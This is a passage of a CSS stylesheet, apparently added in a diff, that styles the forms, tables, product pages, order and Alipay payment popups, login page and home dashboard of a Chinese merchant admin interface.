label{cursor:pointer;line-height:32px;float:left;padding-right:15px;} +.form .item label input[type=radio], +.form .item label input[type=checkbox]{vertical-align: middle;margin-right: 5px;margin-top: -2px;} +.form .btn{border-radius: 2px; margin-right: 8px;} +.form .item .jc-select .text{width: 400px;} +.form .item .jc-select .i-text{width: 380px;} +.form .btn-box{padding:20px 0 0 65px;font-size: 15px} + + +.head-tool .i-text:focus{border-color:#00c1de;transition:border linear .1s,box-shadow linear .2s; -moz-transition:border linear .1s,-moz-box-shadow linear .2s; -webkit-transition:border linear .1s,-webkit-box-shadow linear .25s; outline:none; } +/*.head-tool {height:40px;margin-bottom:15px;border-bottom: 1px solid #ddd}*/ +.head-tool {height:10px; margin-bottom:15px; border-bottom: 0px solid #ddd} +.head-tool .date-search form > ul{display:inline-block;padding-left:15px;} +.head-tool .date-search form > ul > li{height: 32px; display:inline-block;line-height:32px;float: left;margin-left: 5px;} +.head-tool .date-search .i-text{ margin-top:0;width: 214px;vertical-align: baseline } +.head-tool .date-search .btn{float: left; height: 31px; line-height: 30px;margin: 0;padding:0 15px; } +.head-tool .date-search .i-text.small{width:100px; text-align: center;text-indent: 0;} +.head-tool .date-search .jc-select .text { min-width: 210px; line-height: 30px;height: 30px;} +.head-tool .date-search .jc-select .text span{margin-left: 0px; } +.head-tool .date-search .jc-select ul{top:31px; right:0; } +.head-tool .date-search .jc-select ul .i-text{width: 190px;margin-top: 8px; } + +.head-tool-hd{height: 40px;border-left: 1px solid #ddd;} +.head-tool-hd ul{display: inline-block} +.head-tool-hd li{float: left;height: 40px;line-height: 40px;cursor: pointer;} +.head-tool-hd li a{-webkit-transition: all 0s linear 0s;display: block;height: 39px;line-height: 39px; padding:0 19px; background: #fbfaf8;border-bottom: 1px solid #ddd; border-right: 1px solid #ddd;border-top:1px solid #ddd;} +.head-tool-hd li.on a{position: relative;z-index: 3; height: 40px;line-height: 39px;border-bottom: 1px solid #fff; border-bottom: none;background: #fff;} +.head-tool-hd .calculator{margin: -2px 0 5px 8px; display: inline-block;width: 30px;height: 30px;background:url("../images/icon.png") no-repeat -52px -227px;} + +.c-cont .c-list{display: none} +.c-cont .c-list.active{display: block} + +.pages {text-align:right;height:25px;padding:14px 15px;background-color:#fff;border-bottom:1px solid #e3e4e5;} +.pages .i-text { width:30px;padding:5px 0; } +.pages a{padding:0 5px;} + +.tables {margin-bottom: 15px;background-color:#fff;border:1px solid #e1e6eb;border-bottom:none;text-align: left;font-size: 12px;} +.tables tr{border-bottom:1px solid #e1e6eb;color: #333; } +.tables tr td{line-height:22px;padding:10px 0px 10px 20px;} +.tables tr:hover{background: #f5f6fa} +.tables tr.title td:last-child, +.tables tr td:last-child{text-align: center;text-indent:0;} +.tables-last-no tr.title td:last-child, +.tables-last-no tr td:last-child{text-indent: 20px;text-align: left;} +.tables .title{ text-align: left;background: #f5f6fa;color: #454545;} +.tables .title td{line-height: 45px;padding:0;font-weight: bold;font-size: 13px;text-indent:20px;} + +.tables .lock{color: #999} +.tables .logo{ margin-bottom: -5px; display: inline-block;width: 50px;height: 50px; border-radius: 50%;overflow: hidden} +.tables .logo img{width: 50px;height: 50px;float: left} +.tables a:hover{color:#00c1de } +.tables .link-ww{display: inline-block;width:70px;height: 22px;vertical-align: middle;margin-top: -2px; background: url("../images/wangwang.gif") no-repeat 0 -2px ; } + +.tables .pic-text-item{text-indent:0;padding:5px 0 5px 20px;} +.tables .pic-text-item img{ margin: 0px 10px 0px 0px; width: 64px;height: 64px;float: left} +.tables .pic-text-item dt{ color:#333;line-height: 18px;margin-bottom: 5px;overflow: hidden} +.tables .pic-text-item dd{color:#666; } +.tables .btn{font-size: 12px;height: 28px;line-height: 28px;} + +.tables .recovery{height: 25px;width: auto;display: block;} +.tables .recovery .icon-recovery{ margin:0; width: 25px;height: 25px;margin-right: 5px;background-position: -110px -316px} +.tables .recovery:hover .icon-recovery{background-position: -110px -347px} +.tables .recovery span{display: none;} +.tables .recovery:hover span{display: inline-block;} + +.tables .signin{position: relative;padding-left: 40px; line-height: 12px; margin: 0 auto;cursor: pointer; background: #2c99d7;width: 47px;height: 38px;border-radius: 2px;} +.tables .signin i{width:40px;height: 38px;margin:0;position: absolute;left:0;top:0;z-index: 3; background-color:#148dd2; background-position: -103px -378px; } +.tables .signin strong{ padding-top: 3px; display: block;text-align: center;height: 20px;line-height: 20px;color: #fff;font-size: 14px;color: #fff;} +.tables .signin span{ font-size: 10px;display: block;text-align: center; color:#93d8ff;-webkit-transform: scale(0.75); } + +.tables .signin.his{background: #fd8d7e} +.tables .signin.his i{background-color: #fd806f;background-position: -103px -411px;} +.tables .signin.his span{color: #ffd4ce} + + +.suspension.small{display: inline-block;} +.suspension.small i{margin-left: -10px} +.suspension {position: relative;} +.suspension > span{line-height: 30px;display: inline-block;text-indent: 0;cursor: pointer} +.suspension .cont{ display: none; z-index:3; min-width: 200px; padding:8px 10px;color: #999; line-height: 22px; text-indent: 0; position: absolute;background: #fff;border: 1px solid #ddd;border-radius: 2px;box-shadow: 0px 5px 10px rgba(0,0,0,.05);} +.suspension .cont span{color: #333;} +.suspension .cont:before{ z-index: 6; position: absolute;content: " ";left:14px;top:-5px;width: 0;height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid #fff; } +.suspension .cont:after{z-index: 5; position: absolute;content: " ";left:13px;top:-6px;width: 0;height: 0; border-left: 6px solid transparent; border-right: 6px solid transparent; border-bottom: 6px solid #ddd; } +.suspension:hover .cont{display: block} + +.all-order tr a.ww{font-weight: bold;} +.all-order tr a.ww i{width: 20px;height: 20px;margin-left: 5px;background: url("../images/wangwang.gif") no-repeat -110px -2px;} + +.tables tr.order-info{ display: none; } +.tables tr.order-info td{text-align: left;background: #fff;padding:0;} +.tables tr.order-info .cont{position: relative;} +.tables tr.order-info .cont .up-arr{ cursor: pointer; background:url('../images/icon.png') no-repeat 0 -425px;position: absolute;width:124px;height: 30px;left:50%;margin-left: -62px;bottom:0;z-index: 5; } + +.tables tr.order-info .address{padding:24px 20px;color: #444;min-height: 80px;} +.tables tr.order-info .address .bg{margin-right: 20px; text-align: center; float: left;width: 80px;height: 80px;background: #00c1de;border-radius: 50%;} +.tables tr.order-info .address .icon-address{margin: 22px auto 0; width: 40px;height: 37px; background-position:-47px -262px; } +.tables tr.order-info .address dl dt{line-height:40px;margin-bottom:3px;font-size: 18px;font-weight: bold} +.tables tr.order-info .address dl dt span{font-size: 14px; } +.tables tr.order-info .border-top{padding:20px 0 0 0; border-top: 1px solid #ddd;} +.tables tr.order-info .form{ padding:0 0 20px 0; margin: 0 20px;} +.tables tr.order-info .form .item{min-height: 25px;margin: 0;} +.tables tr.order-info .form .item .name{float: none;line-height: 22px;} +.tables tr.order-info .form .item .i-text{width: 218px;padding: 9px 0;} +.tables tr.order-info .form .item .text{line-height: 25px;margin-right: 20px} +.tables tr.order-info .form .btn{margin-left: 66px;margin-top: 10px;} +.tables tr.order-info .i-text:focus{border-color:#00c1de; transition:border linear .1s,box-shadow linear .2s; -moz-transition:border linear .1s,-moz-box-shadow linear .2s; -webkit-transition:border linear .1s,-webkit-box-shadow linear .25s; outline:none; } + + +/**产品仓库**/ +.product .head-tool{border-bottom: none;margin-bottom: 8px;} +.product .tables{margin-bottom: -1px;} +.product .tables:last-child{margin-bottom: 2px !important;} +.product .tables tr.title td:last-child, +.product .tables tr td:last-child{text-align: left} +.product .pages{border-bottom: none;} + +.product-info .preview-photo { float: left; width: 400px; margin-right: 35px;} +.product-info .preview-photo img{width: 400px;height: 400px;border: 1px solid #ddd;} + +.product-info{padding:30px 0 30px 30px; position: relative; text-align: left} +.product-info .info { float: left; width:576px; } +.product-info .info h2{font-size:22px; font-weight: normal;line-height: 28px;margin-bottom: 10px; } +.product-info .info .price {margin-bottom: 20px; line-height: 32px; color: #999; padding: 14px 0 8px 15px; background: #f4f4f4 url("../images/bg-03.jpg") left top;border: 1px solid #ebebeb;} +.product-info .info .price .money{color:#ff8b2b;font-size: 25px;} +.product-info .info .p-item{ line-height: 30px;color: #777; position: relative;padding:0px 0 0px 45px;min-height: 40px; margin-bottom: 10px;} +.product-info .info .p-item .name{position: absolute;left:0;top:0px;} + +.product-info .info .p-item.mini-pic{padding-bottom: 10px;margin-bottom:15px;border-bottom: 1px dotted #dedede;} +.product-info .info .p-item.mini-pic li{display: inline-block;margin-left: 3px;margin-bottom: 8px;} +.product-info .info .p-item.mini-pic li a{padding:3px 7px;line-height: 23px; color: #666;border: 1px solid #d5d5d5;display: inline-block;-webkit-transition: all 0s linear 0s; } +.product-info .info .p-item.mini-pic li img{ width: 33px;height:33px;margin: 0px -4px;} +.product-info .info .p-item.mini-pic li a:hover , +.product-info .info .p-item.mini-pic li a.on { color: #333; padding:2px 6px;border:2px solid #ff7300} + +.product-info .info .p-item.mini-text li{display: inline-block;margin-left: 3px;margin-bottom: 8px;} +.product-info .info .p-item.mini-text li img{ width: 33px;height:33px;margin: 0px -4px;} +.product-info .info .p-item.mini-text li a{display: inline-block;padding:3px 7px;line-height: 23px; position: relative; color: #c3c3c3; -webkit-transition: all 0s linear 0s; border: 1px dashed #d6d6d8;} +.product-info .info .p-item.mini-text li a:hover, +.product-info .info .p-item.mini-text li a.on{ color: #333; border: 2px solid #ff7300;padding:2px 6px;} +.product-info .info .p-item.mini-text li a:hover:before, +.product-info .info .p-item.mini-text li a.on:before{z-index:3;position: absolute;content: " ";width: 10px;height: 10px;bottom:-1px;right:-1px;background:url("../images/icon.png") no-repeat -50px -306px;} + +.product-info .info .p-item.mini-text.mini-border li a{border: 1px solid #d6d6d8;} +.product-info .info .p-item.mini-text.mini-border li a:hover, +.product-info .info .p-item.mini-text.mini-border li a.on{border: 2px solid #ff7300;} + +.product-info .info .p-item .btn-yellow{font-size: 16px; width:180px;height: 40px;line-height: 40px;padding: 0;text-align: center } +.product-info .info .p-item .btn-yellow:hover{color: #fff;} +.product-info .shop-ww{color: #999;margin-top: 20px;} +.product-info .shop-ww a{ margin-left: 10px; display: inline-block;width:70px;height: 22px;vertical-align: middle;margin-top: -2px; background: url("../images/wangwang.gif") no-repeat 0 -2px ; } + + +.product-search { margin: 0 auto;width: 1170px;text-align: center;padding-top: 90px;} +.product-search .title {color: #999;margin-bottom: 40px;font:0/0 a;height: 43px; } +.product-search .title .icon-product{ width: 187px;height: 43px;background-position:0 -329px} +.product-search .search-box{ box-shadow:0 0px 10px rgba(0,0,0,.06);margin: 0 auto 40px; position: relative; color: #fff; width: 630px;height:40px;padding: 1px;background: #00c1de } +.product-search .search-box .i-text{ text-indent: 13px; font-size: 14px; float: left; width: 520px;height: 20px;padding: 10px 0;margin: 0;border: none;} +.product-search .search-box .btn-search{ font-size: 16px;color: #fff; float: right;width: 105px; height: 40px;line-height: 40px;text-align: center; border: none;background: none;padding:0;margin: 0;} +.product-search .search-box .stock{ top:0;z-index: 3; right:120px;line-height: 42px; position: absolute;color: #ccc;} + +.product-search .product-info{width:1130px; box-shadow:0 0px 14px rgba(0,0,0,.06);border: 1px solid #e0e4e9; } +.product-search .product-info .info{width: 659px; } +.product-search .product-info .info .sub-text {color: #666; margin-bottom: 15px;} + +.product-search .order-number {margin: 220px auto 0;width: 880px; text-align: right;} +.product-search .order-number li {width:210px;float: none;display: inline-block;} +.product-search .order-number li p{color: #999;font-size: 16px;line-height: 20px;} +.product-search .order-number li > span{ float: left;margin-right: 15px;width: 55px;height: 55px;text-align: center;} +.product-search .order-number li > span i{margin-top: 15px; width: 25px;height: 25px;} +.product-search .order-number li span{color: #999;} +.product-search .order-number li .text{float: left;text-align: left;padding-top: 9px;} +.product-search .order-number li a{color: #ccc;font-size: 12px;} +.product-search .order-number li a:hover{color: #333;} +.product-search .order-number li.bg-blue > span{background: #00c1de} +.product-search .order-number li.bg-yellow > span{background: #ffb21e} +.product-search .order-number li.bg-green > span{background: #52c168} +.product-search .order-number li.bg-red > span{background: #ff8453} + +.product-search .order-number .icon-order{background-position: -141px -218px;} +.product-search .order-number .icon-dfh{background-position: -143px -247px; width: 30px;} +.product-search .order-number .icon-td{background-position: -143px -277px;} +.product-search .order-number .icon-qd{background-position: -143px -306px;} + + /**数量加减**/ +.form .item .quantity .i-text {width: 100px;} +.quantity { text-align: left;display: inline-block; position: relative; padding:0 31px 0 0px; } +.quantity .i-text{text-indent: 0; line-height: 14px;height: 14px;padding:7px 0; font-size: 16px; width:50px;text-align: center;border: 1px solid #ddd; font-family: Arial } +.quantity span{width:28px;height: 28px; line-height: 28px; text-align: center; cursor: pointer; left:140px;top:2px; position: absolute; display: inline-block; } +.quantity span i{ vertical-align: middle; display: inline-block;width: 11px;height: 6px;background-position:-69px -207px; } +.quantity span.add{left:110px; } +.quantity span.add i{background-position:-68px -214px;height: 11px; } +.quantity .i-text:focus{border-color:#ddd !important; } + +.product .quantity{float: left; display: inline-block;margin:0px 10px 0 3px;position: relative;height: 32px;width: 45px;padding:0 25px 0 0 ;} +.product .quantity .i-text{padding:8px 0; border-color: #a7a6ac;} +.product .quantity span{left:auto;top:auto;right:0; bottom:0;width: 18px;height: 13px;border-color: #a7a6ac;} +.product .quantity span.add{right:0;top:0; } +.product .quantity span i{vertical-align:inherit;float: left;margin: 5px 0 0 6px; height: 6px; background-position:-39px -311px; } +.product .quantity span.add i{background-position:-39px -304px;} + + +/**产品库下单**/ +body.bg-gray{background:#ebeff4; } +.product-buy {background: #ebeff4;margin-left: 170px;margin-top: 55px;padding-bottom: 70px;} +.product-buy .main{width: 1160px;margin: 0 0 0 20px;padding-top: 20px;} +.product-buy .p-item{background: #fff;border: 1px solid #e1e6eb;margin-bottom: 20px;} +.product-buy .p-item .hd{height: 25px; padding:10px 0 10px 10px; background: #f5f6fa;border-bottom: 1px solid #e1e6eb} +.product-buy .p-item .hd strong{font-weight: normal;color: #333;} +.product-buy .p-item .hd i{width: 25px;height: 25px;margin-right: 10px;} +.product-buy .p-item .hd i.icon-address{background-position: -110px -214px;} +.product-buy .p-item .hd i.icon-check{background-position: -110px -243px;} +.product-buy .form{padding: 10px 0 0 40px;} +.product-buy .form .textarea{height: 80px;} + +.product-buy .tables {text-align: center;border: none;} +.product-buy .tables tr:hover{background: none} +.product-buy .tables tr td{text-indent: 0;text-indent: 0;} +.product-buy .tables tr td.left{text-align: left;padding-left: 20px;} +.product-buy .tables .pic-text-item {padding-left: 0;padding-top: 0;} + +.product-buy .table-foot{padding:10px 20px 25px;} +.product-buy .table-foot .i-text.big{width:400px; } +.product-buy .table-foot .i-text.small{width:77px;color:#ff8b2b;font-size: 16px;font-weight: bold; } + +.product-buy .total-price {line-height: 28px; color: #333; padding:15px 20px; background: #fef8e1;border: 1px solid #fae2a7; text-align: right} +.product-buy .total-price strong{font-family: Arial;font-size: 14px;padding-right: 3px;} +.product-buy .total-price .pay {margin-top: 10px;padding-top: 5px; padding-left: 40px; border-top: 1px solid #fae2a7;display:inline-block;} +.product-buy .total-price .pay strong{font-size: 12px;} +.product-buy .total-price .pay .color-yellow{ font-size: 16px;font-family: Arial;} +.product-buy .total-price .pay a{color: #ff8b2b;margin-right: 10px;} + +.product-buy .product-bor{z-index: 9; color: #333; height: 50px;line-height: 50px;padding-right: 165px; text-align: right; position: fixed;left:190px;bottom:0;width: 995px;border: 1px solid #e1e6eb;background: #fff; } +.product-buy .product-bor .btn{ margin: 0; vertical-align: inherit; position: absolute;right:0;top:-1px;z-index: 3; height: 52px;line-height:53px;width: 150px;text-align: center;padding: 0;} +.product-buy .product-bor p span{font-weight:bold;padding-right:2px;font-size: 20px;color:#ff8b2b;font-family: Arial } + +/**店铺录入**/ +.form.shop-form {margin-top: 10px;padding-bottom: 40px;width: 100%;} +.shop-form .form-list { height:auto;margin-bottom: 25px;} +.shop-form .form-list .f-hd{border: 1px solid #e1e6eb;background:#f5f6fa;height:25px;line-height: 25px;padding: 10px; margin-bottom: 30px; } +.shop-form .form-list .f-hd i{width: 25px;height: 25px;margin-right: 3px;} +.shop-form .form-list .f-hd strong{color:#333;font-weight: normal} +.shop-form .form-item {position: relative; min-width:400px; margin:0 150px 0 0;float:left;} +.shop-form .form-list .form-item:nth-child(2){padding-left: 40px;} +.shop-form .form-list .form-item:nth-child(2):before{ content: " "; position: absolute;left:0;top:0;bottom:10px;width: 1px;background: #ddd;} +.shop-form .id-card .i-text {width: 160px; text-align: center;text-indent: 0;} +.shop-form .form-list .form-item label{float: none;padding-right: 14px;} +.shop-form .form-list .jc-select .text{width: 400px;} +.shop-form .form-list .jc-select .i-text{width: 380px;} +.shop-form .form-item .title{font-size: 18px;line-height: 40px;margin-bottom: 5px;} +.shop-form .form-item .title strong{font-weight: normal;} + +.upload {height:200px;} +.upload .u-item{width:180px;margin-right:30px;} +.upload .u-item .photo{width:180px;height:120px;background-color:#efefef;margin-bottom: 19px;border: 1px solid #ddd;} +.upload .u-item .photo img{width: 180px;height: 120px;} +.upload .u-item .foot-btn{height:30px;position:relative;} +.upload .u-item .foot-btn .del{ margin: 0; cursor:pointer;border:none; float:right;line-height:30px;height: 30px;padding:0 12px;} +.upload .u-item .foot-btn .file {margin:0;padding:0;text-align: center; width: 90px;height: 30px;line-height: 30px; position: relative; display: inline-block; border-radius: 3px; + overflow: hidden; color: #fff; text-indent: 0;cursor:pointer;} +.upload .u-item .file input { position: absolute; font-size: 100px;right: 0;top: 0;opacity: 0;cursor:pointer;} + + +.fr-upload {padding: 0px 0 15px;} +.fr-upload .upload {height: 116px;} +.fr-upload .upload .u-item{width: 315px;} +.fr-upload .upload .photo {float: left} +.fr-upload .upload .foot-btn {float: right;padding-top: 23px;} +.fr-upload .upload .foot-btn .btn{display: block;width: 100px;margin-bottom: 10px;} + +.pai-product p{color: #333;} +.pai-product p .name{color:#666 } +.pai-product p .name:nth-child(2){margin-left: 20px;} +.pai-product p .address{margin-right: 10px;} +.pai-product .a{cursor: pointer;color: #0084cf} + + + + /**弹窗form**/ +.popup-form {margin-top: 20px;} +.popup-form .item { min-height: 35px; margin-bottom: 10px; position: relative; padding-left: 90px; } +.popup-form .item .name{float: none;position:absolute;left:0;top:0; min-width: 90px;} +.popup-form .item .i-text{ width: 99.6%;} +.popup-form .item dl{line-height: 20px;padding-top: 6px;} +.popup-form .item dl dt{ margin-bottom: 5px;} +.popup-form .item dd{display: inline-block} +.popup-form .item label{line-height: 20px;} +.popup-form .btn-box {margin:20px 0 20px 90px;} +.popup-form .item .i-text:focus{border-color:#00c1de; transition:border linear .1s,box-shadow linear .2s; -moz-transition:border linear .1s,-moz-box-shadow linear .2s; -webkit-transition:border linear .1s,-webkit-box-shadow linear .25s; outline:none; } +.popup-form .jc-select .text{ width: 308px;} +.popup-form .textarea{margin-bottom: 0px; height: 120px; width: 100%;-webkit-box-sizing: border-box; -moz-box-sizing: border-box;box-sizing: border-box;} +.popup-form p.text{padding-top: 5px;color: #333;} +.popup-form .i-text.small{width: 100px;} + +.order-popup {width: 420px;padding:40px 30px;background: #fff;} +.order-popup .form{padding:0 20px 0 0;} +.order-popup .form .item .jc-select .text{width: 308px;} +.order-popup .hd{line-height: 68px; font-size: 18px;color: #000; height:68px;padding-bottom:20px;border-bottom: 1px solid #ddd; margin-bottom:20px; } +.order-popup .hd .icon-return{ display: inline-block; width: 68px;height: 68px;margin-right: 15px;background-position:0 -458px; } +.order-popup .hd strong{font-weight: normal} +.order-popup .prompt-text { color: #a94442; padding:12px 10px;background: #f2dede;border: 1px solid #ecced3;} +.order-popup .prompt-text a{color: #0084cf} +.order-popup span.text{line-height: 33px;} +.order-popup .amount{font-size: 20px;color: #ffb746;font-family: Arial;} +.order-popup .pay-ok {text-align: center;padding-top: 30px;} + + +.order-popup .alipay {padding-top: 20px;} +.order-popup .alipay .select-money {padding-top: 20px; margin-bottom: 25px;} +.order-popup .alipay .select-money ul li { margin-right:5px;color: #999; -webkit-transition: all 0s linear 0s; border: 1px dashed #d6d6d8;padding:3px 7px;line-height: 23px;display: inline-block;position: relative} +.order-popup .alipay .select-money ul li:hover, +.order-popup .alipay .select-money ul li.on{ color: #333; border: 2px solid #ff7300;padding:2px 6px;} +.order-popup .alipay .select-money ul li:hover:before, +.order-popup .alipay .select-money ul li.on:before{z-index:3;position: absolute;content: " ";width: 10px;height: 10px;bottom:-1px;right:-1px;background:url("../images/icon.png") no-repeat -50px -306px;} +.order-popup .alipay .barcode {padding:30px 0; text-align: center; background: #f8f8f8;border: 1px solid #eee;} +.order-popup .alipay .barcode img{ margin: 0 auto 10px; width:180px;height: 180px; background: #fff;} +.order-popup .alipay .barcode .hit{ font-size:16px;margin: 0 auto;text-align: left; width: 179px;height: 35px;line-height: 35px;color: #fff;background: #0ae} +.order-popup .alipay .barcode .icon-alipay{ float: left; margin:8px 10px auto 30px; width: 20px;height: 20px; background-position: -72px -462px;} +.order-popup .alipay .btn{line-height: 45px;height: 45px;padding:0 30px;font-size: 16px;} + + /**登录**/ +.login-warp {text-align: center;padding-top: 112px;background: url("../images/bg-login.jpg") no-repeat center top;background-size: 100% 370px;} +.login-warp .form{ border-radius: 2px; box-shadow:0 3px 5px rgba(0,0,0,.1);overflow:hidden;margin:0 auto;padding:45px 25px 40px; width:350px;border:1px solid #f4f4f4;background:#fff;} +.login-warp .l-logo { text-align:center;margin-bottom:13px;} +.login-warp .l-logo img{ margin:0 auto 5px; height:90px;width:90px;display:block;overflow: hidden; border-radius: 50%; } +.login-warp .l-logo i{ margin:0 auto 5px; height:90px;width:90px;display:block;overflow: hidden; border-radius: 50%;background: url("../images/user-photo-02.jpg") no-repeat center center; } +.login-warp .l-logo .name{font-size:16px;color: #999;line-height: 33px;margin: 0; } +.login-warp .list{min-height:62px;position: relative} +.login-warp .list i{ width: 17px;height: 17px; position: absolute;left:15px;top:19px;} +.login-warp .i-text{font-size: 14px; padding:14px 0 14px 40px;width: 308px; border:1px solid #e0e0e0; display:block;height:21px;line-height:21px;} +.login-warp .btn{ font-size: 16px; cursor:pointer;display:block;width:100%;height:50px;text-align:center;line-height:50px; border:none;border-radius:2px; margin-top:8px;} +.login-warp .icon-user {background-position:0 -302px;} +.login-warp .icon-parssword {background-position:-17px -302px;} +.login-warp h2{font-size: 32px;line-height: 40px;color: #fff;font-weight: normal} +.login-warp .tips{padding: 21px 0; font-size: 16px; color: #bebebf} +.login-warp .copyright{ color: #999; text-align:center;margin-top: 39px;} +.login-warp input:focus{border-color:#00c1de; transition:border linear .1s,box-shadow linear .2s; -moz-transition:border linear .1s,-moz-box-shadow linear .2s; -webkit-transition:border linear .1s,-webkit-box-shadow linear .25s; outline:none; } +.login-warp .form p{color:#999; margin-top: 15px; } +.login-warp .form p a{padding:0 10px;color: #0084cf; } + + +/**首页**/ +.default {background: none; min-width: 1280px;} +.default .w-one{width:875px;height: 350px; } +.default .w-two{width:770px;height: 350px;margin-right: 0 !important; } + +.default .item{margin-right: 15px;margin-bottom: 15px; min-height: 350px; float: left; background: #fff;border: 1px solid #e0e4e9;box-shadow: 0px 10px 10px rgba(0, 0, 0, .02)} +.default .hd{height: 70px;line-height: 70px;} +.default .hd.line{border-bottom: 1px solid #ebebeb} +.default .hd i{width:23px;height: 23px;margin-right: 10px; } +.default .hd .icon-order{background-position:-85px -215px; } +.default .hd .icon-finance{background-position:-85px -186px; } +.default .hd strong{font-size:14px; font-weight:normal;color:#444;} +.default .hd a{float: right;color: #999;} +.default .hd a i { display: none; margin-left:5px;height: 8px; width: 5px; margin-right: 0;background-position:-89px -245px; } + +.default .user-info {text-align: center; float: left; width:270px;border-right:1px solid #e0e4e9;height: 350px;background:#fcfcfc } +.default .user-info img{display: block;margin: 35px auto 10px;} +.default .user-info strong{font-weight: normal;font-size: 14px;color: #444;line-height: 30px;} +.default .user-info strong i{width: 15px;height: 15px;margin-left: 5px;background-position:-81px -164px } +.default .user-info p{color: #999;font-size: 12px;line-height: 35px;} +.default .user-info p span{color: #00c1de} +.default .user-info .ip{ padding:24px 0 0; border-top: 1px solid #e8e8e8;margin: 20px 40px 0;text-align: left} +.default .user-info .ip p{ line-height: 30px;} + +.default .order{ float: left; padding:0 20px;width: 560px;} +.order-number{font-size: 14px;} +.default .order-number li{float: left;text-align: center;width:140px;display: block;padding-top: 50px;} +.order-number li > span{border-radius: 50%; display: inline-block;width:80px;height: 80px;background: #00c1de; } +.order-number li > span i{width:36px;height: 36px;margin: 22px auto 0; } +.order-number li span{color: #00c1de;margin: auto 3px;font-family: Arial;font-size: 15px;} +.default .order-number li a{margin-top:12px;border-radius: 2px; display: inline-block;color: #fff; height:30px;line-height:30px;width: 90px;text-align: center;background:#cdcdcd } +.default .order-number li a:hover{background:#00c1de} +.default .order-number li p{line-height: 50px;} + +.default .order-number li.bg-yellow span{color: #ffb21e} +.default .order-number li.bg-yellow > span , +.default .order-number li.bg-yellow a:hover{background:#ffb21e } + +.default .order-number li.bg-green span{color:#52c168 } +.default .order-number li.bg-green > span, +.default .order-number li.bg-green a:hover{background:#52c168} + +.default .order-number li.bg-red span{color:#fd806f } +.default .order-number li.bg-red > span, +.default .order-number li.bg-red a:hover{background:#fd806f} + +.default .order-number li .icon-order{background-position: -140px -99px;} +.default .order-number li .icon-dfh{background-position: -140px -135px; width:43px; } +.default .order-number li .icon-td{background-position: -141px -174px;} + +.default .item-tables {padding: 0 20px;} +.default .tabs-report {padding: 0 20px; margin-right: 0; height: auto;width: 1142px;} + +.default .tables tr.title td{padding: 10px 0;} +.default .tables tr td{line-height: 22px;} +.default .tables tr.title td:last-child, +.default .tables tr td:last-child{text-align: left;text-indent:20px;} + +.account-wrap {width: 500px;margin-right: 20px;} +.account-wrap .item{float: none; min-height: 214px;width: 500px} +.account-wrap .item .hd{background: #f5f6fa;padding-left: 20px;height: 50px;line-height: 50px;} + + +.js-tables .tables{margin-bottom: 0} +.js-tables .btn-box {height: 31px;text-align: center;margin-top: -2px} +.js-tables .btn-box .toggle-data{height: 20px;width: 57px;background-position: -46px -375px;} +.js-tables.height .tables{overflow: hidden;height: 345px;} +.js-tables.height .btn-box .toggle-data{background-position: -46px -355px;} + + +.tabs-report {position: relative;} +.tabs-report .tabs-hd{position: absolute;right: 22px;top:22px;cursor: pointer;z-index: 33;} +.tabs-report .tabs-hd span{ padding-left: 10px;line-height: 30px; display: inline-block;width: 130px;height: 30px;border:1px solid #ddd;} +.tabs-report .tabs-hd i{ position: absolute;right:10px;top:16px; width: 7px;height: 6px;background-position: -53px -209px;} +.tabs-report .tabs-hd:hover i{background-position: -53px -217px;} +.tabs-report .tabs-hd:hover ul{display: block;margin-top: -1px} +.tabs-report .tabs-hd ul{ display: none; background: #fff;border:1px solid #ddd;} +.tabs-report .tabs-hd ul li{padding-left: 10px;line-height: 30px;} +.tabs-report .tabs-hd ul li:hover{background: #0084cf;color: #fff;} + +.tabs-report .flow {border-top: 1px solid #eee;padding-top: 17px; margin-bottom: 17px;} +.tabs-report .flow .list-data{width: 145px;float: left;margin-right: 30px} +.tabs-report .flow .list-data dl{height:75px;background: #f87765;margin-bottom: 10px; color: #fff;border-radius: 4px;} +.tabs-report .flow .list-data dl dt{padding-left: 15px; padding-top: 5px; font-size: 14px;line-height: 35px;} +.tabs-report .flow .list-data dl dd{padding-left: 15px;font-size: 26px} + +.tabs-report .flow .list-data .bg-01 {background: #f87765} +.tabs-report .flow .list-data .bg-02 {background: #ffb21e} +.tabs-report .flow .list-data .bg-03 {background: #00c1de} +.tabs-report .flow .list-data .bg-04 {background: #57c86d} + +.tabs-report .chart-bar {float: left; position: relative;width: 960px;text-align: center;} +.tabs-report .chart-bar:before{content: " "; position: absolute; left:0;right:0;top:274px;background: #eee;z-index: 3} +.tabs-report .chart-bar .list{ display: inline-block; width: 155px;text-align: center;} +.tabs-report .chart-bar .list p{color: #999;} +.tabs-report .chart-bar .list ul{ padding-bottom: 5px} +.tabs-report .chart-bar .list ul li{position: relative; height:280px; display: inline-block;text-align: center;} +.tabs-report .chart-bar .list ul li .bar {overflow: hidden;position: relative; width: 30px;margin:0 auto; display: block;margin-bottom: 10px; height: 275px;background: #f5f6fa} +.tabs-report .chart-bar .list ul li .bar span{position: absolute;left:0; bottom:0;width: 30px;display: block;background: #00c1de} +.tabs-report .chart-bar .list ul li:nth-child(2) .bar span{background: #57c86d} +.tabs-report .chart-bar .list ul li .view{ color: #333;} +.tabs-report .chart-bar .list ul li .info{ display: none; z-index: 99; width: 90px; text-align: left;padding:5px 0 5px 10px; position: absolute; left:15px;top:40%;background: rgba(0,0,0,.6);color: #fff;border-radius: 5px;} +.tabs-report .chart-bar .list ul li .info p{color: #fff;line-height: 20px;} +.tabs-report .chart-bar .list ul li:hover .info{display: block;} + +.default .account{padding-top: 36px; margin-bottom: 20px;height: 80px;} +.default .account dl { margin:0 20px 0px 24px; float: left;width: 280px;border-right:1px solid #e1e6eb;height: 80px} +.default .account dl dt{ text-align: center; margin-right: 25px; float: left; display: inline-block;width: 80px;height: 80px;border-radius: 50%;background: #ff9625;} +.default .account dl dt i{width: 33px;height: 36px;margin:20px auto 0;} +.default .account dl dd strong{display: block;font-size: 14px;color: #999;line-height: 30px;margin-top: 10px;} +.default .account dl dd span{color: #333;font-size: 25px;font-family: arial} + +.default .account ul{padding-top: 10px;} +.default .account ul li{color:#666;font-size: 13px; line-height: 28px;} +.default .account ul li i{width: 10px;height: 10px;margin-right: 10px;} +.default .account ul li span{margin-left: 15px;color:#333;font-family: Arial; font-size: 14px;} +.default .account .bg-yellow {background: #ff9625;} +.default .account .bg-green {background: #57c86d;} + + +/**适配局部调整**/ +@media screen and (max-width: 1365px) { + .container{width:1280px;overflow-x:hidden;} + .default{width:1280px !important; margin-right:0 !important;} + .screen-width, + .popup-body{width: auto;overflow-x: visible} + .product-search {margin: 0; } +} + + +.loading {position: 